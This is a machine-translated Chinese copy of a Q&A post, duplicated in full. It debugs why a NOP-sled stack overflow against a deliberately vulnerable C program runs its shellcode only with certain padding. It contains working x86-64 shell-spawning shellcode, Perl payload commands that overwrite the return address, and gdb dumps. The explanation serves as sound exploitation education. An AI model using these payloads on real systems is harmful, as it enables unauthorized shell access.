为什么 NOP 的数量似乎会影响 shellcode 是否成功执行?
Why does the amount of NOPs seem to impact whether shellcode is executed successfully?
我正在学习缓冲区溢出(仅用于教育目的)并且在使用 NOP 滑动技术执行 shellcode 时出现了一些问题,为什么 shellcode 有时不是执行。
我编译了以下代码(使用 Ubuntu 18.04.1 LTS (x86_64), gcc 7.3.0., ASLR 禁用)
#include <stdio.h>
#include <string.h>
void function (char *args)
{
char buff[64];
printf ("%p\n", buff);
strcpy (buff, args);
}
int main (int argc, char *argv[])
{
function (argv[1]);
}
如下:gcc -g -o main main.c -fno-stack-protector -z execstack
。
然后我唤起了 gdb main
、b 9
和
run `perl -e '{ print "\x90"x15; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x8; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
上面的字符串由NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address
组成。我根据printf
行的输出选择了return地址。 (注意:明确地说,上面的hexcode在x86_x64中打开了一个shell。
从下面的输出可以看出,缓冲区按预期溢出了。
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x48
0x7fffffffd8c0: 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2 0x48
0x7fffffffd8c8: 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
0x7fffffffd8d0: 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1 0xeb
0x7fffffffd8d8: 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31 0xd2
0x7fffffffd8e0: 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f 0x05
0x7fffffffd8e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
从这里继续确实会打开 shell。但是,当我使用以下内容作为参数时(唯一的区别是我将 \x90"x15
替换为 \x90"x16
并将 \x90"x8
替换为 \x90"x7
)
run `perl -e '{ print "\x90"x16; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x7; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
我明白了
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8c0: 0x48 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2
0x7fffffffd8c8: 0x48 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73
0x7fffffffd8d0: 0x68 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1
0x7fffffffd8d8: 0xeb 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31
0x7fffffffd8e0: 0xd2 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f
0x7fffffffd8e8: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
这对我来说很好(与上面相同,除了反映参数的变化),但是当我这次继续时我得到
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
并且没有 shell 打开。
- 非法指令发生在第二个NOP块中。 shellclode 位于 NOP 块之前。 return地址好像改写成功了,为什么shell代码没有执行呢?
- 为什么第一个示例有效,而第二个示例无效,唯一的区别是在 shell 代码之前删除了一个 NOP,并在 shell 代码之后插入了一个 NOP?
编辑:
我添加了 shellcode:
的反汇编
0000000000400078 <_start>:
400078: 48 31 c0 xor %rax,%rax
40007b: b0 3b mov [=16=]x3b,%al
40007d: 48 31 d2 xor %rdx,%rdx
400080: 48 bb 2f 62 69 6e 2f movabs [=16=]x1168732f6e69622f,%rbx
400087: 73 68 11
40008a: 48 c1 e3 08 shl [=16=]x8,%rbx
40008e: 48 c1 eb 08 shr [=16=]x8,%rbx
400092: 53 push %rbx
400093: 48 89 e7 mov %rsp,%rdi
400096: 4d 31 d2 xor %r10,%r10
400099: 41 52 push %r10
40009b: 57 push %rdi
40009c: 48 89 e6 mov %rsp,%rsi
40009f: 0f 05 syscall
关于我的第二个例子,Jester 关于 shell 代码的 push
操作覆盖了 shell 代码远端的指令的猜测是正确的:
通过设置set disassemble-next-line on
收到SIGILL
后检查当前指令并重复第二个例子产生
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea: ff (bad)
先前在此地址的 NOP (90
) 已被 ff
覆盖。
这是怎么发生的?再次重复第二个例子,另外设置b 8
。此时缓冲区还没有溢出
(gdb) info frame 0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
从 0x7fffffffd8f8
开始的字节包含离开 function
函数后将 returned 到的地址。然后,这个 0x7fffffffd8f8
地址也将是堆栈将再次继续增长的地址(在那里,将存储前 8 个字节)。实际上,继续使用 gdb 并使用 si
命令表明,在 shell 代码的第一个 push
指令之前,堆栈指针指向 0x7fffffffd900
:
(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da: 53 push %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8 0xd9 0xff 0xff 0xff 0x7f 0x00 0x00
... 并且当执行 push
指令时,字节存储在地址 0x7fffffffd8f8
:
(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db: 48 89 e7 mov %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
继续这样做,可以看到在 shell 代码的最后一个 push
指令之后,push
的内容被压入地址 0x7fffffffd8e8
的堆栈:
0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3: 57 push %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4: 48 89 e6 mov %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
然而,这也是存储 syscall
指令的最后一个字节的地方(参见第二个示例问题中的 x/80bx buff
输出)。因此,系统调用和 shell 代码无法成功执行。这在第一个示例中没有发生,因为从那时起,压入堆栈的字节一直增长到 shell 代码的末尾(没有覆盖它的一个字节):8 个字节用于 8 个 NOP("\x90"x8
) + 8 个字节用于保存的基指针 + 8 个字节用于 return 地址为 3 个 push
操作提供足够的 space。
我正在学习缓冲区溢出(仅用于教育目的)并且在使用 NOP 滑动技术执行 shellcode 时出现了一些问题,为什么 shellcode 有时不是执行。
我编译了以下代码(使用 Ubuntu 18.04.1 LTS (x86_64), gcc 7.3.0., ASLR 禁用)
#include <stdio.h>
#include <string.h>
void function (char *args)
{
char buff[64];
printf ("%p\n", buff);
strcpy (buff, args);
}
int main (int argc, char *argv[])
{
function (argv[1]);
}
如下:gcc -g -o main main.c -fno-stack-protector -z execstack
。
然后我唤起了 gdb main
、b 9
和
run `perl -e '{ print "\x90"x15; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x8; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
上面的字符串由NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address
组成。我根据printf
行的输出选择了return地址。 (注意:明确地说,上面的hexcode在x86_x64中打开了一个shell。
从下面的输出可以看出,缓冲区按预期溢出了。
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x48
0x7fffffffd8c0: 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2 0x48
0x7fffffffd8c8: 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
0x7fffffffd8d0: 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1 0xeb
0x7fffffffd8d8: 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31 0xd2
0x7fffffffd8e0: 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f 0x05
0x7fffffffd8e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
从这里继续确实会打开 shell。但是,当我使用以下内容作为参数时(唯一的区别是我将 \x90"x15
替换为 \x90"x16
并将 \x90"x8
替换为 \x90"x7
)
run `perl -e '{ print "\x90"x16; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x7; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
我明白了
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8c0: 0x48 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2
0x7fffffffd8c8: 0x48 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73
0x7fffffffd8d0: 0x68 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1
0x7fffffffd8d8: 0xeb 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31
0x7fffffffd8e0: 0xd2 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f
0x7fffffffd8e8: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
这对我来说很好(与上面相同,除了反映参数的变化),但是当我这次继续时我得到
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
并且没有 shell 打开。
- 非法指令发生在第二个NOP块中。 shellclode 位于 NOP 块之前。 return地址好像改写成功了,为什么shell代码没有执行呢?
- 为什么第一个示例有效,而第二个示例无效,唯一的区别是在 shell 代码之前删除了一个 NOP,并在 shell 代码之后插入了一个 NOP?
编辑: 我添加了 shellcode:
的反汇编0000000000400078 <_start>:
400078: 48 31 c0 xor %rax,%rax
40007b: b0 3b mov [=16=]x3b,%al
40007d: 48 31 d2 xor %rdx,%rdx
400080: 48 bb 2f 62 69 6e 2f movabs [=16=]x1168732f6e69622f,%rbx
400087: 73 68 11
40008a: 48 c1 e3 08 shl [=16=]x8,%rbx
40008e: 48 c1 eb 08 shr [=16=]x8,%rbx
400092: 53 push %rbx
400093: 48 89 e7 mov %rsp,%rdi
400096: 4d 31 d2 xor %r10,%r10
400099: 41 52 push %r10
40009b: 57 push %rdi
40009c: 48 89 e6 mov %rsp,%rsi
40009f: 0f 05 syscall
关于我的第二个例子,Jester 关于 shell 代码的 push
操作覆盖了 shell 代码远端的指令的猜测是正确的:
通过设置set disassemble-next-line on
收到SIGILL
后检查当前指令并重复第二个例子产生
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea: ff (bad)
先前在此地址的 NOP (90
) 已被 ff
覆盖。
这是怎么发生的?再次重复第二个例子,另外设置b 8
。此时缓冲区还没有溢出
(gdb) info frame 0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
从 0x7fffffffd8f8
开始的字节包含离开 function
函数后将 returned 到的地址。然后,这个 0x7fffffffd8f8
地址也将是堆栈将再次继续增长的地址(在那里,将存储前 8 个字节)。实际上,继续使用 gdb 并使用 si
命令表明,在 shell 代码的第一个 push
指令之前,堆栈指针指向 0x7fffffffd900
:
(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da: 53 push %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8 0xd9 0xff 0xff 0xff 0x7f 0x00 0x00
... 并且当执行 push
指令时,字节存储在地址 0x7fffffffd8f8
:
(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db: 48 89 e7 mov %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
继续这样做,可以看到在 shell 代码的最后一个 push
指令之后,push
的内容被压入地址 0x7fffffffd8e8
的堆栈:
0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3: 57 push %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4: 48 89 e6 mov %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
然而,这也是存储 syscall
指令的最后一个字节的地方(参见第二个示例问题中的 x/80bx buff
输出)。因此,系统调用和 shell 代码无法成功执行。这在第一个示例中没有发生,因为从那时起,压入堆栈的字节一直增长到 shell 代码的末尾(没有覆盖它的一个字节):8 个字节用于 8 个 NOP("\x90"x8
) + 8 个字节用于保存的基指针 + 8 个字节用于 return 地址为 3 个 push
操作提供足够的 space。